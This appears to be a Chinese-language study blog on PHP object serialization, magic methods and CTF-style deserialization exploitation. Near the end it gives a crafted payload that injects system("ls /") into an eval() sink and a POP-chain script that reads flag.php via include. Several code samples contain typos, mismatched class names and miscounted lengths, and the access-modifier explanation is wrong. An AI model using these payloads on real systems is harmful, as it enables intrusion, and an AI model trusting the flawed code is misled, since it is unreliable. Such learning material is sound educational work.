我会在这里写下我学习序列化和反序列化的过程

类与对像

学习序列化和反序列化最基本的就是对类和对象的了解

什么是类什么是对象

类就是就是对象的抽象,而对象就是对类的实例化

举例

类相当于一个写着电脑配置的清单而对象就是这太电脑组装后的样子,也就是说对象是类的实体也就是实例

类的定义

类的定义包含对类名的定义对成员变量(属性)的定义对成员函数的定义(方法)以下为代码演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class text{
var $name="benben";
var $name2="dazhuang";

function xuanze(){
$this->name;
echo "输出"
}
}
$p=new text();
print_r($p)
echo $p->name;
$p->xuanze()
?>

以上代码中function以前的为成员属性而function为成员函数(方法)$this->name的意思为调用name $p=new text是对text这个类的实例化,但是在实例化的过程是并不会将成员方法实例化的
以上代码结果如下

1
2
3
4
5
6
7
8
text Object
(
[name] => benben
[name2] => dazhuang
)//print_r($p)输出的实例$p

benben//由echo $p->naem
输出//由成员函数输出的内容

权限修饰符

php访问的修饰符有三种public protected private
public是公开的
是外部和子类都可用的
而private是私有的外部不可用但是子类可用
protected是受保护的子类与外部都不可使用
具体代码如下
子类就是类型的成员来自父类的类型代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin';
private $sex='man';
protected $shengao='165';
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{
function test(){
echo $this->name."<br />";
echo $this->sex."<br />";
echo $this->shengao."<br />";
}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

其中hero2就是hero的子类类型以外就是外部

序列化serialize

序列化就是将对象变成一字符串
如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class text{
var $name="benben";
var $name2="dazhuang";

function xuanze(){
$this->name;
echo "输出";
}
}
$p=new text();
print_r($p);
serialize($p);

?>

输出如下
1
2
3
4
5
6
text Object
(
[name] => benben
[name2] => dazhuang
)
O:4:"text":2:{s:4:"name";s:6:"benben";s:5:"name2";s:8:"dazhuang";}

后面的一长串字符串就是序列化的结果下面我会对序列化的每个元素进行讲解
O代表的是object代表了对象而O:4:”text”:2代表了对象名有4个字符叫text内含有2个成员属性{}内部是成员变量
s:4:"name";s:6:"benben";
s代表字符串,整串代表成员变量名的类型是字符串有4个字符叫name变量的值的类型为字符串有6个字符叫benben

数组的序列化

基本所有类型的变量都可以进行序列化数组也一样

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$a = array('benben','dazhuang','laoliu');
echo $a[0];
echo serialize($a);
?>

输出为
1
benbena:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

其中a为数组名a:3代表数组内有3个数据,i:1代表下标类型为int,下标为1所以i:0;s:6:"benben"的意思为下标为0的数据为字符型有6个字符叫benben

权限修饰符序列化后的格式

私有的private

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

输出

1
O:4:"text":1:{s:9:"textpub";s:6:"benben"}

这个输出我们可以发现他的变量名加了一个text并且字符串长度明显比显示出来的长两个,这是因为textpub的两边其实还有两个看不见的空字符

受保护的protected

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class test{
protected $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

输出

1
O:4:"test":1:{s:6:"*pub";s:6:"benben";}

也一样多了个*并且比显示的字符串多了两个字符原因同上

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test {
public $a = 'benben';
protected $b = 666;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);

?>

输出

1
2
3
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }

反序列化顾名思义就是序列化逆序
反序列化只与传入反序列化的值有关与其类无关也就是反序列化与类无关只要修改反序列化的参数就可以更改反序列化的值

反序列化的简单例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

这题我们可以看到其将$get进行反序列化之后调用成员函数displayvar()displayvar的内容是在eval()函数里调用成员变量a
那么我们就可以构造一个序列化后的text类型的字符串修改其中$a的值为危险函数再将其传入$get里那么危险函数就会被调用到eval里导致信息泄露
传入的get值如下

1
O:4:"text":1:{s:1:"a";s:15:"system("ls /");"}

魔术方法

魔术方法是一个预定义好的,在特定情况下自动触发的行为方法

掌握魔术方法一定要掌握的四个点

1.触发时机(重要)
2.功能
3.参数(重要)
4.返回值

1.__construct()构造函数:在实例化一个对象时,首先会自动执行一个方法(函数)

construct中文名叫构造函数。顾名思义这个函数是在构造对时(也就是实例化时)触发的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class text{
public $name="1";
function __construct($name){
$this->name=$name;
echo "触发了构造函数一次\r\n";
echo $this->name;
echo "\r\n";
}
}
$p=new text("benben");
echo serialize($p);
?>

输出
1
2
3
触发了构造函数一次
benben
O:4:"text":1:{s:4:"name";s:6:"benben";}

从以上代码和输出可以看出在实例化触发了
construct执行了constrct的命令将name赋值为了输入的参数
注意:`
construct($name)`括号里的参数名可自由更改

__destruct()解析函数,在对象的所有引用被删除或对象显式被销毁时执行。

destruct在实例化和反序列化间接触发
原因是在实例化后类会变成对象,代码完全运行结束时(也就是程序结束时)会删除所有代码,就会触发析构函数
在反序列时将序列化后的字符串再次变成了对象而后,在程序结束时程序会自动销毁对象导致其触发
destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
public function __destruct()
{
echo "触发了析构函数1次\r\n";
}
}
$test = new User("benben");
echo "6\n";//判断是在该代码前触发还是后触发
$ser = serialize($test);
unserialize($ser);
echo "6\n";
?>

输出
1
2
3
4
6
6
触发了析构函数1次
触发了析构函数1次

通过输出结果也可以都是在代码完全运行后触发

析构函数的简单例题

__sleep()序列化的时候触发(先sleep后序列化)

触发时机:在对象序列化之前触发。
功能:返回需要被序列化存储的成员变量,删除不必要的变量。
参数:参数是成员属性。
返回值:需要被序列化存储的成员属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

1
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

我们可以看到输出的序列化结果中比正常输出要少了password这个成员变量,原因是__sleep函数在序列化之前执行且只返回了username和nickname删除了password所以序列化时password没有序列化

__weakup() weakup是在反序列化之前触发,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser))
1
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }

我们查看上面的结果可以发现其输出的值表示其反序列化之后多了一个变量password这就是因为在反序列化时weakup执行添加了一个password并赋值为username的值

tostring()和invoke()

__tostring()是错误的将对象当成字符串使用时触发

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class text{
public $name="panpan";
function __tostring()
{
return "触发";
}

}
$p=new text;
echo $p;
?>
1
触发

从输出结果我们可以看出当我们使用echo等输出字符串的函数输出对象时会触发函数__tostring。

__invoke()是错误的将对象当成函数输出时触发

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class text{
public $name="panpan";
function __invoke()
{
echo "触发";
}

}
$p=new text;
echo $p();
?>

输出

1
触发

可以看出当我们以函数的方式运行对象时触发invoke()。

魔术方法错误调用

__call()

call()在我们错误的调用一个对象中没有的方法时触发,其参数有两个,返回的值分别是不存在的魔术方法名和参数。

1
2
3
4
5
6
7
8
9
10
class text{
public $name="panpan";
function __call($a,$b)
{
echo "$a,$b[0]";
}

}
$p=new text();
$p->calll('ab');

输出
1
calll,ab

我们可以看出输出的值为错误调用不存在的方法名calll和其参数ab。

__callstatic()

__callstatic()
触发时机:静态调用或调用成员常量时使用的方法不存在时触发
参数有两个
返回值为错误调用的方法和参数。

1
2
3
4
5
6
7
8
9
10
class text{
public $name="panpan";
function __callstatic($a,$b)
{
echo "$a,$b[0]";
}

}
$p=new text();
$p::calll('a');

输出
1
calll,a

_get()

触发时机:调用的成员属性不存在
参数:一个参数$a
返回值:不存在的成员属性名称

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class text{
public $name="1";
function __get($a)
{
echo $a;

}
}
$p=new text();
echo $p->benben;
?>


1
benben

通过输出我们可以看出来输出了不存在的成员变量名benben

__set()

触发时机:当我们给一个不存在的成员属性赋值时触发__set()
参数:两个
返回值:不存在的成员属性名称和赋的值

1
2
3
4
5
6
7
8
9
10
11

class text{
public $name="panpan";
function __set($a,$b)
{
echo "$a,$b";
}

}
$p=new text();
$p->panpan=1;

输出
1
panpan,1

__isset()

触发时机:对不可访问的属性(private或protected)或不存在的,使用isset()或empty()时,触发__isset()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

class text{
public $name="panpan";
private $name2="dazhuang";
protected $name3="haha";
function __isset($b)
{
echo "$b";
}

}
$p=new text();
isset($p->name);
isset($p->name2);
empty($p->name2);
isset($p->name3);
isset($p->xxxx);
?>

输出
1
2
3
4
name2
name2
name3
xxxx

unset

触发时机:对不可访问的属性使用usset()时触发
参数:一个
返回值:不存在的成员属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

class text{
public $name="panpan";
private $name2="dazhuang";
protected $name3="haha";
function __unset($b)
{
echo "$b";
}

}
$p=new text();
unset($p->name);
unset($p->name2);
unset($p->name3);
unset($p->xxxx);
?>

输出
1
2
3
name2
name3
xxxx

__clone()

触发时机:当使用clone关键字老拷贝一个对象时触发,新对象会自动调用定义的魔术方法__clone

1
2
3
4
5
6
7
8
9
10
11
12

class text{
public $name="panpan";
private $naem2="dazhuang";
function __clone()
{
echo "拷贝";
}

}
$p=new text();
$haha=clone($p);

输出
1
拷贝

pop链的构造

pop链就是利用魔术方法,来链接其他方法,最终链接到可以利用漏洞的方法,实例如下

我们观察题目发现可以利用的函数为

1
2
include($value)
echo $flag

在加上开头题目说flag is in flag.php那么我们就可以利用include包含flag.php之后就可以得到flag
在除了类的定义之外就只有一个反序列化函数所以我们要利用反序列化会触发的函数wakeup()来作为起点最终链接到Modifier的append方法
我们可以将$siurce赋值为对象show在将$str赋值为对象text,因为当`
wakeup()触发时会输出source而输出时会因为错误的剑对象show当字符串输出触发tosting,又因为我们将$str赋值为对象texttext里没有source那么就会触发get()。而get()方法是返回一个函数function()那么我们就可以将$p赋值为对象Modifer从而使function被赋值为对象Modifier,那么就会因错误的将对象当函数利用从而导致触发invoke(),而invoke()回调用append()方法,那么我们就可以将value赋值为flag.php从而输出flag`
了解以上过程我们就可以开始构造pop链了代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Modifier {
private $var="flag.php";

}

class Show{
public $source;
public $str;

}

class Test{
public $p;

}
$modifier=new Modifier();
$test=new Tes();
$text->p=$modifier;
$show=new Show();
$show->source=$show;
$show->str=$text;
echo serialize($show);
?>

因为在构造pop链时魔术方法并没有什么用所以我们可以只留下变量
1
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

输出为以上序列化字符串